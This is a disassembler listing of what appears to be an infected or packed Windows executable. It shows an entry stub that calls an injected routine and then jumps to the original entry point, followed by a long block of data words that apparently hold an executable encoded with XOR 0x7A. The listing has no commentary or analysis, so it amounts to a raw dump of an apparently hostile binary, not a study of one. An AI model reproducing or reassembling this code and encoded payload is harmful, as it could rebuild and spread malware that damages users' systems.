; FUNCTION CHUNK AT 0040292E SIZE 00000013 BYTES
pusha
call sub_43B76D
popa
jmp loc_40292E
start endp
; ---------------------------------------------------------------------------
dd 0EA8D3700h, 7A7A797Ah, 7A7A7E7Ah, 7A85857Ah, 7A7AC27Ah
dd 7A7A7A7Ah, 7A7A3A7Ah, 8 dup(7A7A7A7Ah), 7A7AFA7Ah, 567377Ah
dd 0B84309F4h, 18D1BCCAh, 0BC081AC4h, 9CCCFAE7h, 660C4C36h
dd 0B39241FDh, 76FED22Fh, 30955C6Ah, 2FCDC340h, 16EF22C7h
dd 0A3DC249Bh, 0FA25EDF0h, 0F26B97E3h, 0F8358EF2h, 57651B7Ah
dd 7A0497EFh, 7C7B367Ah, 4CBE57Ah, 7A7A7A3Ah, 7A7A7A7Ah
dd 747A9A7Ah, 787B715Bh, 7AA27A4Dh, 7A467A7Ah, 6AF87A7Ah
dd 7A6BEC7Ah, 7A6A7A7Ah, 7A8A7A7Ah, 7A7A7A7Ah, 7A6A7A6Ah
dd 7A787A7Ah, 7A7A7B7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7A7Ah
dd 6B9A7A7Ah, 7A7E7A7Ah, 7A7A7A7Ah, 7A7A787Ah, 6A7A7A7Ah
dd 7A6A7A7Ah, 6A7A7A7Ah, 7A6A7A7Ah, 7A7A7A7Ah, 7A7A6A7Ah
dd 6BAA7A7Ah, 7A7A367Ah, 6BDA7A7Ah, 7A7BB67Ah, 6 dup(7A7A7A7Ah)
dd 6BCA7A7Ah, 7A61767Ah, 14h dup(7A7A7A7Ah), 1F0E547Ah
dd 7A7A0E02h, 7AACFE7Ah, 7A6A7A7Ah, 7AACFE7Ah, 7A7E7A7Ah
dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah, 918541Ah, 7A7A7A09h, 6AFA127Ah
dd 7A8A7A7Ah, 5 dup(7A7A7A7Ah), 7A7AFA7Ah, 1B1E54BAh, 7A7A1B0Eh
dd 7A60C27Ah, 6BFA7A7Ah, 7A60C27Ah, 7AA67A7Ah, 3 dup(7A7A7A7Ah)
dd 7A7A3A7Ah, 1E1354BAh, 7A1B0E1Bh, 7A7BB67Ah, 6BDA7A7Ah
dd 7A7BB67Ah, 7A827A7Ah, 3 dup(7A7A7A7Ah), 7A7A1A7Ah, 1F0854BAh
dd 7A191516h, 7A616E7Ah, 6BCA7A7Ah, 7A616E7Ah, 7A867A7Ah
dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah, 1E1F5478h, 7A1B0E1Bh, 7A7A367Ah
dd 6BAA7A7Ah, 7A7A367Ah, 7B627A7Ah, 3 dup(7A7A7A7Ah), 7A7A5A7Ah
dd 7A7A7A3Ah, 65h dup(7A7A7A7Ah), 7A7BC27Ah, 4BB97A7Ah
dd 36F13ABAh, 3B8D7E5Eh, 7A7A7C7Eh, 0F1750E7Ah, 0F1725E3Eh
dd 0F36A5E2Eh, 7A79C278h, 29B97A7Ah, 3EF12D2Ch, 102A6A5Eh
dd 6A7C1284h, 851E6A7Ah, 7A7A7A4Fh, 5FF31E7Ah, 7A7A7A7Ah
dd 5A5E3EF1h, 0F17222F1h, 84F9760Ah, 415A0E85h, 0E5E5E0Eh
dd 0C4EF760h, 0F1C976F1h, 0F1725E36h, 6F97632h, 0F7A7EC9h
dd 0C92E85ADh, 1EAB9172h, 7A7A7FF5h, 0BEF97A7Ah, 21242576h
dd 9FF32FB9h, 2F2D2C29h, 7A107A10h, 7A6AE212h, 720F856Ah
dd 7AAFFA92h, 2425277Ah, 2796F321h, 0F32F86B9h, 7296F99Fh
dd 2F2D2C29h, 0F17627F1h, 3A8D723Fh, 7A7A7C7Eh, 0CDFF757Ah
dd 0F37A7A7Ah, 3FF1823Fh, 863FF36Ah, 0F3823FF7h, 9F18639h
dd 7201F176h, 758584F9h, 7A7AD2FEh, 0C76F77Ah, 7EF506F9h
dd 2C070E7Ah, 6A11F72Fh, 0F1963FF1h, 0D97AF17Ah, 6A6BFA4Eh
dd 0F1962FF1h, 0FA42D978h, 38F16A6Bh, 0FA46D97Eh, 2D2C6A6Bh
dd 7A6EC32Bh, 47F77A7Ah, 6A6BFA3Ah, 0FA424FF1h, 0DF896A6Bh
dd 0FA3A47F7h, 47F36A6Bh, 6A6BFA42h, 85242523h, 277EF52Eh
dd 7627F124h, 520EBA73h, 1F14E02h, 40922972h, 0F9858585h
dd 11F77EBEh, 92292C6Ah, 858584A9h, 0F772BEF9h, 7EF10C76h
dd 7639F1F5h, 72F52E85h, 0F77201F1h, 4EF10C76h, 851893F5h
dd 0BA4B8585h, 0F72F6391h, 85106A11h, 84DF9229h, 0BEF98585h
dd 92711076h, 7A7AAEAFh, 277EBEF9h, 0F3212425h, 2FB92796h
dd 2C299FF3h, 7607F92Dh, 927F0F7Bh, 7A7A7A66h, 7AA98D92h
dd 6A0F857Ah, 85760F85h, 7ADB720Fh, 856A6BFAh, 212425AAh
dd 7A76B8B3h, 0F99FF32Fh, 102D7696h, 928C107Ah, 7A7AAE27h
dd 10823FF3h, 928F107Ah, 7A7AAE2Bh, 10863FF3h, 928E107Ah
dd 7A7AAE3Fh, 128E3FF3h, 6A6BFA64h, 92820F85h, 7A7AAE53h
dd 6BFA72D9h, 0FA66126Ah, 0F856A6Bh, 0AE6D9286h, 7ED97A7Ah
dd 126A6BFAh, 6A6BFA66h, 928E0F85h, 7A7AAE7Fh, 0D94ABEF9h
dd 6A6BFA76h, 0FA7E47F1h, 85736A6Bh, 7A10710Eh, 0AE49922Dh
dd 0BEF97A7Ah, 7647F172h, 736A6BFAh, 106A0E85h, 64922D7Ah
dd 0F97A7AAEh, 7C9272BEh, 257A7A7Ah, 0EAEAB9B3h, 9FF32FEAh
dd 296E96F9h, 3FBD2D2Ch, 7A7A7A8Eh, 0A9E1927Ah, 0B9F37A7Ah
dd 918A27F3h, 4741FA66h, 3F85790Eh, 4BA5F38Eh, 0B36383BAh
dd 0A38DD488h, 0F3843BF7h, 66F73DBDh, 7A41FA41h, 7F1A50Fh
dd 46F73D8Eh, 7A7A7AC7h, 9607F37Ah, 92960F85h, 7A7AA9DFh
dd 823FF323h, 6BFA6AD9h, 8207F96Ah, 4B7E0F7Ah, 0F12791BAh
dd 3F918A27h, 0BA4BA5F3h, 88B36383h, 0F7A38DD4h, 0BDF3843Bh
dd 8607F33Dh, 0E4741FAh, 860F855Ch, 7AA91692h, 0FF1237Ah
dd 737CF382h, 91780FBAh, 7F12951h, 924D8582h, 7A7AA903h
dd 0F972BEF9h, 0F17E823Fh, 66F7862Fh, 7A41FA69h, 2FF1CC0Fh
dd 7A78BD82h, 0C27A7A7Ah, 7A7A7A7Bh, 0B3212425h, 9FF32FB9h
dd 795E96FBh, 2C297A7Ah, 7607F92Dh, 56FE757Ah, 0F17A7A6Bh
dd 7AF0723Fh, 720E4E46h, 0FF754F46h, 7A7A6B61h, 0F3723FF1h
dd 85B2F9BBh, 7B46FA3Ah, 0F3830F7Ah, 8584A2FFh, 166FF185h
dd 0F96A6BFBh, 6F797EB8h, 6A6BFB0Eh, 6B0EAA43h, 0FADE6FF1h
dd 0B8F96A6Bh, 75AA4376h, 7A6A98FFh, 67C5757Ah, 6A6BFAEEh
dd 917891F9h, 7A4AC25Eh, 998D7A7Ah, 87DAFFF3h, 3FF18585h
dd 0DAEFF176h, 43858587h, 4F2A6F7Eh, 0FE756A73h, 7A7A6AC9h
dd 0FAEADB39h, 0BAF96A6Bh, 0E67F7926h, 436A6BFBh, 0DBB008B9h
dd 6A6BFB86h, 4369BAF9h, 8584A2FFh, 0BAFF7585h, 0F17A7A7Bh
dd 3AF0723Fh, 0E574674h, 755A4672h, 7A6A00FFh, 723FF17Ah
dd 46733AF0h, 46720E57h, 12FF755Ah, 0F17A7A6Ah, 3AF0723Fh
dd 0E57467Eh, 755A4672h, 7A6A2CFFh, 0FB3ADB7Ah, 0BAF96A6Bh
dd 6FC57576h, 6A6BF872h, 2FF1AA7Bh, 6B28F072h, 7B7FEEF2h
dd 75858585h, 0FB3E7FC5h, 2FF16A6Bh, 7228F072h, 7E7FEEF2h
dd 0DB858585h, 6A6BFBFAh, 0F0722FF1h, 0EEF27028h, 8585737Fh
dd 0FBA6DB85h, 0BAF96A6Bh, 6FC5757Dh, 6A6BFABEh, 2FF1AA7Bh
dd 6A28F072h, 7B7FEEF2h, 0DB858585h, 6A6BFB66h, 0FB0A7F79h
dd 2FF16A6Bh, 7D28F072h, 7B7FEEF2h, 0DB858585h, 6A6BFB5Ah
dd 0F0722FF1h, 0EEF27528h, 85857F7Fh, 7FC57585h, 6A6BFAD2h
dd 0F0722FF1h, 0EEF27628h, 8585717Fh, 7FC57585h, 6A6BFB46h
dd 626FC575h, 7B6A6BF8h, 722FF1AAh, 0F27C28F0h, 84877FEEh
dd 9ADB8585h, 756A6BFAh, 0FACE6FC5h, 0AA7B6A6Bh, 0F0722FF1h
dd 7FEEF268h, 8585848Ch, 6BFBCEDBh, 6FC5756Ah, 6A6BFB52h
dd 0F27F90F9h, 85777FEEh, 0D6DB8585h, 796A6BFBh, 6BFAB27Fh
dd 722FF16Ah, 0F27928F0h, 857B7FEEh, 0EADB8585h, 0F96A6BFAh
dd 0C5757EBAh, 6BFBE26Fh, 0F1AA7B6Ah, 28F0722Fh, 7FEEF271h
dd 8585857Bh, 6BFBC6DBh, 722FF16Ah, 0F26828F0h, 85707FEEh
dd 76DB8585h, 0F16A6BF8h, 28F0722Fh, 7FEEF27Fh, 8585857Bh
dd 6BFBD6DBh, 6FC5756Ah, 6A6BF86Ah, 2FF1AA7Bh, 7828F072h
dd 867FEEF2h, 75858584h, 0FB3E7FC5h, 2FF16A6Bh, 7728F072h
dd 727FEEF2h, 0DB858585h, 6A6BFB96h, 0F0722FF1h, 0EEF27B28h
dd 8584857Fh, 85759185h, 0FFF7720Fh, 8585857Bh, 0AA51922Ah
dd 4FF17A7Ah, 6A6BFBF6h, 0F06F9134h, 857B4FFEh, 4A468585h
dd 43467E06h, 0DA937F04h, 3C7A7A74h, 6BFB2EDBh, 79BAF96Ah
dd 526FC575h, 7B6A6BFBh, 8BC43AAh, 0FAD6DBACh, 92F96A6Bh
dd 82FFF37Dh, 0F1858584h, 6BFB864Fh, 753C916Ah, 7B4FFEC4h
dd 0F9858585h, 6FF14A92h, 6A6BFAB2h, 0B8D57538h, 8482FF7Bh
dd 0C6FA8585h, 85857B4Fh, 74044E85h, 6BFB1ADBh, 78BAF96Ah
dd 8482FF53h, 0ADB8585h, 756A6BFBh, 0FABE6FC5h, 0AA7B6A6Bh
dd 7B7292F9h, 0FAC6DBBCh, 0BAF96A6Bh, 8BC436Ah
dd 0F85ADBD4h, 0B9F36A6Bh, 0FB2E6779h, 91F96A6Bh, 75619173h
dd 7B67FEC4h, 0F9858585h, 0FF7B4A92h, 85858482h, 0B67FC575h
dd 3A6A6BFAh, 0C575B97Bh, 6BFBE27Fh, 526FF16Ah, 0F76A6BF8h
dd 437D6A3Eh, 0F1AA08B9h, 858482FFh, 7A70C385h, 0A84B7A7Ah
dd 47F18B8Dh, 6A6BF842h, 8E67C575h, 7B6A6BFAh, 7895F9A5h
dd 0FF758043h, 7A7A77CDh, 857BFFF7h, 852A8585h, 6B200E6Fh
dd 0BA73236Ah, 77DBFF75h, 4FF17A7Ah, 6A6BFB9Ah, 0F17E94F9h
dd 6BF8424Fh, 0C251916Ah, 7A7A7A4Ah, 0FFF39C8Dh, 858587E6h
dd 6BFB3ADBh, 2A7F796Ah, 0F96A6BFBh, 0EFF17F92h, 858587E6h
dd 2A6F7E43h, 0E6A734Fh, 0C5753C75h, 6BFBDE7Fh, 24BAF96Ah
dd 0BD08BC43h, 427FC575h, 0F16A6BFBh, 6BF8566Fh, 6A3EF76Ah
dd 75BC4320h, 7A7744FEh, 7A4AC27Ah, 9C8D7A7Ah, 87E2FFF3h
dd 3FF18585h, 0E2EFF176h, 0F3858587h, 4F2A6F7Eh, 0CB126A73h
dd 926A6BE3h, 7A7A59D2h, 0D647F123h, 756A6BFAh, 0FBBE67C5h
dd 0A57B6A6Bh, 2D7595F9h, 47C5752Ah, 6A6BF86Ah, 2D7F95F9h
dd 85760F85h, 77234A6Fh, 0B6FFF36Ah, 0F1858584h, 6BFB8277h
dd 7993F96Ah, 730FB243h, 0F3763FF1h, 8584B6FFh, 0E3DE1285h
dd 23926A6Bh, 2A7A7A59h, 84B6CF85h, 0B5928585h, 0F37A7AC8h
dd 8584AEFFh, 0E3E21285h, 47926A6Bh, 2A7A7A59h, 84AECF85h
dd 0C9928585h, 0F37A7AC8h, 7A4AC2BDh, 9C8D7A7Ah, 87EEFFF3h
dd 0B9F38585h, 2E6746F3h, 106A734Fh, 7A4AC27Ah, 9C8D7A7Ah
dd 87EAFFF3h, 4E858585h, 734F2E7Fh, 226F856Ah, 0DB6A6B23h
dd 6A6BFBAAh, 2A7D92F9h, 5FE26F85h, 0FFF36A7Bh, 8585848Eh
dd 849EFFF7h, 852A8585h, 8584AECFh, 2A6F8585h, 126A6B23h
dd 6A6BE3F4h, 7A58B192h, 66BEF97Ah, 0FBBA47F1h, 2D356A6Bh
dd 848ECF85h, 0C5758585h, 6BFBEE47h, 67C5756Ah, 6A6BFB8Ah
dd 95F9A57Bh, 0CF852D7Dh, 858584AEh, 848AC7F1h, 0C7518585h
dd 85858492h, 96C7F12Dh, 51858584h, 85849EC7h, 0C5752D85h
dd 6BFB4647h, 7395F96Ah, 7647F12Dh, 0F96A6BFBh, 122D7895h
dd 2AFA7A7Ah, 857BC7F7h, 2A2D8585h, 7A787A12h, 466F857Ah
dd 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah, 87F6FFF3h, 0B9F38585h
dd 226746F3h, 0F16A734Fh, 858496FFh, 9EFF5185h, 0F1858584h
dd 6BFB9A6Fh, 53B8F96Ah, 0FFF3AA53h, 8585849Ah, 848AC7F1h
dd 0C7518585h, 85858492h, 0FBAE67F1h, 0B9FB6A6Bh, 7A7A7A88h
dd 67F1A553h, 6A6BF87Eh, 0F340B9F9h, 4BA25382h, 75BAFFA8h
dd 0AA7BB8E6h, 0FFF382ABh, 858584A6h, 0F84E6FF1h, 6F796A6Bh
dd 6A6BFBFEh, 437690F9h, 756C07AAh, 0FA827FC5h, 7F796A6Bh
dd 6A6BF842h, 0F37E92F9h, 8584A6FFh, 0E3FE1285h, 0C3926A6Bh
dd 0F37A7A5Bh, 8587F2FFh, 0E3FA1285h, 0D3926A6Bh, 0F37A7A5Bh
dd 8587FEFFh, 5A47F185h, 796A6BF8h, 6BFB3A47h, 7995F96Ah
dd 8ECF852Dh, 0F1858584h, 6BFAB247h, 0C22D356Ah, 7A7A7A4Ah
dd 0FFF39C8Dh, 858587FAh, 4E85BDF3h, 734F2247h, 47C5756Ah
dd 6A6BFB42h, 7A8DBDFBh, 852D7A7Ah, 85849ACFh, 0A6C7F185h
dd 0F1858584h, 6BFBF267h, 4CB9F96Ah, 326FC575h, 7B6A6BFBh
dd 75A57BA9h, 0FA8667C5h, 7B316A6Bh, 47F12DA5h, 6A6BFB2Eh
dd 797FBDF9h, 6BFAD647h, 73122D6Ah, 0F12AFA7Ah, 8587FEC7h
dd 0C7F12D85h, 858587F2h, 47C5752Dh, 6A6BFA82h, 2D7F95F9h
dd 33466F85h, 0FFF36A73h, 858584B2h, 6BE30C12h, 5A88926Ah
dd 0FFF37A7Ah, 85858706h, 6BE32712h, 5A98926Ah, 0FFF37A7Ah
dd 85858702h, 0FB5E47F1h, 0C5756A6Bh, 6BFA8667h, 0F9A57B6Ah
dd 852D7E95h, 85848ECFh, 47C57585h, 6A6BFB32h, 0B667C575h
dd 7B6A6BFBh, 7095F9A5h, 7A4AC22Dh, 9C8D7A7Ah, 870EFFF3h
dd 0BDF38585h, 22474E85h, 0F16A734Fh, 6BFBD647h, 4BBDF96Ah
dd 0F8364779h, 852D6A6Bh, 85849ACFh, 0A6CF8585h, 75858584h
dd 0FB7E47C5h, 67F16A6Bh, 6A6BF866h, 6A6506F7h, 7A7A122Dh
dd 0C7F12AFAh, 85858702h, 6C7F12Dh, 2D858587h, 0F86E47F1h
dd 95F96A6Bh, 6F852D79h, 6A733346h, 84BEFFF3h, 92DB8585h
dd 326A6BFAh, 1078102Ah, 107A107Ah, 757B107Fh, 0FBE27FC5h
dd 6FF16A6Bh, 6A6BF852h, 90F9B87Bh, 6FF12873h, 6A6BFB06h
dd 0F87E6F79h, 90F96A6Bh, 6FF12873h, 6A6BFBE6h, 287E90F9h
dd 7A78C612h, 0DA6FF17Ah, 796A6BFAh, 6BFB0E6Fh, 7090F96Ah
dd 0C64F8528h, 796A6BFAh, 6BFB2E7Fh, 0DB2A326Ah, 6A6BFB9Eh
dd 2A6ABAF9h, 485A6F85h, 0FFF36A73h, 858584BAh, 102A7B10h
dd 0BECF854Ah, 85858584h, 7A8A626Fh, 0E329126Ah, 0CB926A6Bh
dd 0F37A7A65h, 85870AFFh, 0E3341285h, 0DB926A6Bh, 0F97A7A65h
dd 47F162BEh, 6A6BFB4Ah, 0CF852D35h, 8585848Eh, 0FB4E47F1h
dd 95F96A6Bh, 0CF852D78h, 858584B2h, 0FADA47F1h, 0BDFB6A6Bh
dd 7A7A7A88h, 6A67C575h, 7B6A6BF8h, 0E267F1A5h, 796A6BFAh
dd 6BF83267h, 7391F96Ah, 0F12DA553h, 85849AC7h, 2E67F185h
dd 796A6BFBh, 6BF86E67h, 7D91F96Ah, 752DA553h, 0FB3247C5h
dd 47796A6Bh, 6A6BFB9Eh, 2D7E95F9h, 0FB7247F1h, 95F96A6Bh
dd 7A122D7Dh, 2A2A7A7Ah, 870AC7F1h, 0F12D8585h, 6BF84E47h
dd 0A47796Ah, 0F96A6BFBh, 852D7695h, 7333466Fh, 0C2BDF36Ah
dd 7A7A7A4Ah, 0FFF39C8Dh, 85858716h, 46F3B9F3h, 734F2667h
dd 0F876DB6Ah, 7F796A6Bh, 6A6BFB0Eh, 8C7FC6FAh, 4E858584h
dd 3C12600Fh, 926A6BE3h, 7A7A64B6h, 0C7F72A23h, 858584D6h
dd 0B3E1922Dh, 62917A7Ah, 6BE34212h, 64C8926Ah, 2A237A7Ah
dd 84D6C7F7h, 922D8585h, 7A7AB3FBh, 6BE2BC12h, 64E0926Ah
dd 0C7F77A7Ah, 8585857Bh, 0D6C7F72Dh, 2D858584h, 0D7C7F72Ah
dd 2D858587h, 23526F85h, 0C6126A77h, 926A6BE2h, 7A7A640Eh
dd 8712FFF3h, 47F18585h, 6A6BFB12h, 0FB9A4779h, 95F96A6Bh
dd 0CF852D7Ch, 8585848Eh, 0F8424F85h, 4AC26A6Bh, 8D7A7A7Ah
dd 1EFFF39Ch, 0F3858587h, 474E85BDh, 6A734F26h, 0FBAE47F1h
dd 0BDF96A6Bh, 0CF852D52h, 8585849Ah, 0DE47C575h, 0F96A6BFBh
dd 0F12D7EBDh, 6BFA9647h, 67C5756Ah, 6A6BFB46h, 122DA57Bh
dd 2A7A7A7Ah, 87D7C7F7h, 0F12D8585h, 858712C7h, 0C5752D85h
dd 6BFA8247h, 7A47796Ah, 0F96A6BF8h, 852D7095h, 7333466Fh
dd 0D2FFF36Ah, 75858587h, 0FBBE7FC5h, 7F796A6Bh, 6A6BFADEh
dd 2A7592F9h, 7A107810h, 7F107A10h, 7EDB7B10h, 796A6BF8h
dd 6BFB3A7Fh, 7992F96Ah, 7FC5752Ah, 6A6BFB32h, 0FB6A7F79h
dd 92F96A6Bh, 22DB2A70h, 0F96A6BFBh, 122A7992h, 7A7A7BEAh
dd 1E7FC575h, 326A6BFBh, 0F84EDB2Ah, 7F796A6Bh, 6A6BFB5Ah
dd 2A6A92F9h, 827FC575h, 756A6BFAh, 0FAB66FC5h, 0AA7B6A6Bh
dd 0FA9ADB2Ah, 0BAF96A6Bh, 6F852A70h, 6A73485Ah, 84AAFFF3h
dd 7B108585h, 854A102Ah, 8587D2CFh, 626F8585h, 126A7A8Ah
dd 6A6BE2CAh, 7A674592h, 1AFFF37Ah, 12858587h, 6A6BE2D6h
dd 7A675592h, 26FFF37Ah, 0F1858587h, 6BFAEA47h, 7E95F96Ah
dd 8ECF852Dh, 75858584h, 0F83A47C5h, 0C5756A6Bh, 6BFB9267h
dd 0F9A57B6Ah, 0C22D7595h, 7A7A7A4Ah, 0FFF39C8Dh, 85858722h
dd 4E85BDF3h, 734F2647h, 5A47F16Ah, 0FB6A6BFBh, 7A7B5EBDh
dd 0C5752D7Ah, 6BFBB647h, 0C667F16Ah, 0F76A6BFBh, 2D576506h
dd 0FB7647F1h, 0BDF96A6Bh, 47F12D33h, 6A6BFB22h, 2D39BDF9h
dd 0FA7A7912h, 26C7F12Ah
dd 2D858587h, 871AC7F1h, 0F12D8585h, 6BFB9A47h, 7E95F96Ah
dd 466F852Dh, 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah, 872EFFF3h
dd 0B9F38585h, 1E6746F3h, 126A734Fh, 6A6BE2DAh, 7A660D92h
dd 2AFFF37Ah, 12858587h, 6A6BE2E6h, 7A661D92h, 52BEF97Ah
dd 8736FFF3h, 47F18585h, 6A6BFBBAh, 6267C575h, 7B6A6BFBh
dd 7395F9A5h, 8ECF852Dh, 0F1858584h, 6BFB1A47h, 7D95F96Ah
dd 7A4AC22Dh, 9C8D7A7Ah, 8732FFF3h, 0BDF38585h, 26474E85h
dd 0F16A734Fh, 6BFB2E47h, 67BDFB6Ah, 797A7A7Bh, 6BFBCA47h
dd 47F12D6Ah, 6A6BF87Ah, 795CBDF9h, 6BF85647h, 47F12D6Ah
dd 6A6BFAE2h, 7940BDF9h, 6BFB5A47h, 0C5752D6Ah, 6BFBEE47h
dd 67C5756Ah, 6A6BFBDEh, 796506F7h, 7A79122Dh, 0C7F12AFAh
dd 85858736h, 2AC7F12Dh, 2D858587h, 0FAD647F1h, 95F96A6Bh
dd 6F852D7Dh, 6A733346h, 4AC2BDF3h, 8D7A7A7Ah, 3EFFF39Ch
dd 0F3858587h, 6746F3B9h, 6A734F1Ah, 6BFBFADBh, 6FC5756Ah
dd 6A6BFA86h, 1C32AA7Bh, 8484FFF3h, 0BE938585h, 127A7A7Ah
dd 6A6BE2EEh, 7A610592h, 0C7CD757Ah, 85858484h, 0C7F72A2Dh
dd 85858740h, 526F852Dh, 0F76A7723h, 858740FFh, 6DB2A85h
dd 796A6BFBh, 6BFB667Fh, 7392F96Ah, 7B39122Ah, 4AC27A7Ah
dd 8D7A7A7Ah, 4EFFF39Ch, 85858587h, 4F1A7F4Eh, 6F856A73h
dd 6A7A8A62h, 6BE2F012h, 6150926Ah, 0CD757A7Ah, 858484C7h
dd 0E667F185h, 0F96A6BFBh, 0A57B79B9h, 0C7F72A2Dh, 85858740h
dd 526F852Dh, 0F96A7723h, 0FFF75ABEh, 85858740h, 7FC5752Ah
dd 6A6BF872h, 6A6FC575h, 7B6A6BF8h, 7C92F9AAh, 7B39122Ah
dd 4AC27A7Ah, 8D7A7A7Ah, 4AFFF39Ch, 85858587h, 4F1E7F4Eh
dd 6F856A73h, 6A7A8A62h, 84FF851Ch, 75858584h, 8484FFCDh
dd 0C5758585h, 6BFBD26Fh, 77B8F96Ah, 0F675AA43h, 85858559h
dd 6BE2F812h, 60D8926Ah, 0FFF37A7Ah, 8585873Ah, 6BE20412h
dd 60E8926Ah, 0FFF37A7Ah, 85858746h, 0F87A47F1h, 47796A6Bh
dd 6A6BF836h, 2D7495F9h, 848ECF85h, 47F18585h, 6A6BFAAEh
dd 0F86E4779h, 95F96A6Bh, 4AC22D72h, 8D7A7A7Ah, 42FFF39Ch
dd 0F3858587h, 474E85BDh, 6A734F26h, 0FADE47F1h, 0BDF96A6Bh
dd 47F12D6Bh, 6A6BFAA2h, 7930BDF9h, 6BFACA47h, 47F12D6Ah
dd 6A6BF85Ah, 2D00BDF9h, 8247C575h, 0F16A6BFAh, 6BFB0E67h
dd 6506F76Ah, 7A122D59h, 0F12AFA7Ah, 858746C7h, 0C7F12D85h
dd 8585873Ah, 787A122Dh, 6F857A7Ah, 6A733346h, 4AC2BDF3h
dd 8D7A7A7Ah, 4EFFF39Ch, 0F3858587h, 6746F3B9h, 6A734F12h
dd 0B67FC575h, 326A6BFAh, 1222102Ah, 7A7A7AB6h, 7A7A4AC2h
dd 0F39C8D7Ah, 85874AFFh, 7F4E8585h, 6A734F12h, 8A626F85h
dd 0E126A7Ah, 926A6BE2h, 7A7A63CAh, 8756FFF3h, 28128585h
dd 926A6BE2h, 7A7A63DAh, 8752FFF3h, 47F18585h, 6A6BFB12h
dd 2D7895F9h, 848ECF85h, 47F18585h, 6A6BFBA6h, 0FAAE4779h
dd 95F96A6Bh, 4AC22D7Fh, 8D7A7A7Ah, 5EFFF39Ch, 0F3858587h
dd 474E85BDh, 6A734F26h, 0FB7647F1h, 0BDF96A6Bh, 4A477947h
dd 2D6A6BF8h, 849ACF85h, 0C5758585h, 6BFA8247h, 5E67F16Ah
dd 0F76A6BF8h, 2D336506h, 0FBBA47F1h, 0BDFB6A6Bh, 7A7A7AE9h
dd 0FB5E4779h, 122D6A6Bh, 2A7A7A7Ah, 8752C7F1h, 0F12D8585h
dd 858756C7h, 47F12D85h, 6A6BFAA2h, 2D7C95F9h, 33466F85h
dd 0FFF36A73h, 858587DEh, 0CF857B10h, 858584AAh, 852A4A10h
dd 7A8A626Fh, 0E232126Ah, 9F926A6Bh, 0F37A7A62h, 85875AFFh
dd 0E2541285h, 0AF926A6Bh, 0F97A7A62h, 0FFF362BEh, 85858766h
dd 0FB7A47F1h, 95F96A6Bh, 0CF852D73h, 8585848Eh, 0FB4A47F1h
dd 47796A6Bh, 6A6BFB8Eh, 2D7095F9h, 7A7A4AC2h, 0F39C8D7Ah
dd 858762FFh, 85BDF385h, 4F26474Eh, 47F16A73h, 6A6BFAAEh
dd 2D68BDF9h, 0F84A47F1h, 81F36A6Bh, 7AE0B9FBh, 0F1297A7Ah
dd 6BFB2E67h, 8BB9FB6Ah, 7B7A7A7Ah, 47C57581h, 6A6BFBEAh
dd 0FBDA6FF1h, 6F76A6Bh, 8153696Dh, 47C57529h, 6A6BFB42h
dd 2D7DBDF9h, 0FA7A7A12h, 66C7F12Ah, 2D858587h, 875AC7F1h
dd 0F12D8585h, 6BF86E47h, 0AE47796Ah, 0F96A6BFBh, 852D7195h
dd 7333466Fh, 0C2BDF36Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585876Eh
dd 46F3B9F3h, 734F1667h, 857B106Ah, 8584AACFh, 7A4AC285h
dd 4A107A7Ah, 0FFF39C8Dh, 8585876Ah, 167F4E85h, 856A734Fh
dd 7A8A626Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858776h
dd 8772FFF3h, 4E858585h, 734F267Fh, 6E6F856Ah, 0F16A7323h
dd 858772C7h, 477EF385h, 6A734F06h, 7AF76012h, 0C286106Ah
dd 7A7A7A4Ah, 0FFF39C8Dh, 8585877Eh, 267F4E85h, 856A734Fh
dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585877Ah
dd 8686FFF3h, 4E858585h, 734F127Fh, 6E6F856Ah, 0F16A7323h
dd 858686C7h, 477EF385h, 6A734F02h, 7AF76012h, 0C286106Ah
dd 7A7A7A4Ah, 0FFF39C8Dh, 85858682h, 127F4E85h, 856A734Fh
dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585868Eh
dd 868AFFF3h, 4E858585h, 734F1E7Fh, 6E6F856Ah, 0F16A7323h
dd 85868AC7h, 477EF385h, 6A734F0Eh, 7AF76012h, 0C286106Ah
dd 7A7A7A4Ah, 0FFF39C8Dh, 85858696h, 1E7F4E85h, 856A734Fh
dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858692h
dd 869EFFF3h, 4E858585h, 734F1A7Fh, 6E6F856Ah, 0F16A7323h
dd 85869EC7h, 477EF385h, 6A734F0Ah, 7AF76012h, 0C286106Ah
dd 7A7A7A4Ah, 0FFF39C8Dh, 8585869Ah, 1A7F4E85h, 856A734Fh
dd 7B5FD66Fh, 7A4AC26Ah, 9C8D7A7Ah, 86A6FFF3h, 4E858585h
dd 734F1A7Fh, 866F856Ah, 256A7F53h, 0B9B32124h, 2B9FF32Fh
dd 0F12D2C29h, 4FF17227h, 6A6BFB5Ah, 757294F9h, 0FBE247C5h
dd 91356A6Bh, 6ECD752Ah, 7637F101h, 376CD75h, 8853B053h
dd 75862FF3h, 0FAAA7FC5h, 92F96A6Bh, 7B8437Ch, 0FB56DB65h
dd 827F6A6Bh, 7B7A7A85h, 2EDB863Fh, 0F36A6BFBh, 764F79BCh
dd 0F96A6BFBh, 73917394h, 0FAC24FF1h, 94F96A6Bh, 862FF17Eh
dd 16EF31Ch, 0F85ADB3Dh, 0BAF96A6Bh, 8BD4364h, 212425DEh
dd 0F32FB9B3h, 7F12D9Fh, 623FF176h, 623FF31Ch, 6BFB4ADBh
dd 7A837F6Ah, 0BD437A7Ah, 0F85770Fh, 0EE1B9266h, 4B237A7Ah
dd 0DB5A91BAh, 6A6BFB36h, 7A7B7B7Fh, 0FBD437Ah, 660F8577h
dd 7A2E8992h, 0BA4B237Ah, 79C27F91h, 25FA787Ah, 7A5EB827h
dd 7A3A7BC2h, 7A6AB8FAh, 129FF32Fh, 6A6B1546h, 53826F85h
dd 46DB6A7Fh, 276A6B15h, 2F7A7EB8h, 2C299FF3h, 760FF12Dh
dd 126A07F1h, 6A6BE0E2h, 466F852Ch, 736A7723h, 0F16A0EBAh
dd 7DF3723Fh, 62F14D85h, 4B7E2985h, 123591BAh, 6A6BE062h
